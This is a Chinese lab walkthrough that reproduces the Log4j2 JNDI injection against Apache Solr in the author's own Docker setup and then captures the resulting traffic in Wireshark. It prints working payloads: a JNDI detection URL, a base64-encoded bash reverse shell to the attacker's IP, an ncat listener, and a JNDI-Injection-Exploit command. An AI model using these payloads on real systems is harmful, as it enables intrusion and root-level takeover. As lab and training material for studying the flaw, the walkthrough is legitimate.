在Apache Solr 中复现log4j2的jndi注入漏洞,获得docker容器的root权限,实验五步走:
- 启动容器
- 访问web页面
- 漏洞探测
- 反弹shell载荷
- wireshark抓取log4j反弹shell流量
ailx10
1956 次咨询
4.9
网络安全优秀回答者
互联网行业 安全攻防员
去咨询
一、启动容器
二、访问web页面
IP地址192.168.0.105是我的ubuntu18.04虚拟机,这里作为靶机
三、漏洞探测
IP地址192.168.0.105是我的ubuntu18.04虚拟机,这里作为靶机
http://192.168.0.105:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.ueg2ky.dnslog.cn}
四、反弹shell载荷
IP地址192.168.0.104 是我的mac电脑
bash -i >& /dev/tcp/192.168.0.104/6666 0>&1
对上面的命令进行bash64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0LzY2NjYgMD4mMQ==
先在mac上进行监听
ncat -l 6666
在mac上运行漏洞利用命令[1]
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.0.104
用上面的命令结果访问靶机
http://192.168.0.105:8983/solr/admin/cores?action=${jndi:ldap://192.168.0.104:1389/9gozs8}
在mac上成功接收到靶机反弹的shell
五、wireshark抓取log4j反弹shell流量
我们可以清楚的看到攻击者访问了靶机有漏洞的页面
紧接着看到靶机主动访问了攻击者的IP地址,攻击者给靶机响应了200 OK状态码
反弹shell后,我们敲击一个ls,获得流量如下,都是TCP连接
请求流量
响应流量
参考
- ^JNDI-Injection-Exploit Releases · welk1n/JNDI-Injection-Exploit · GitHub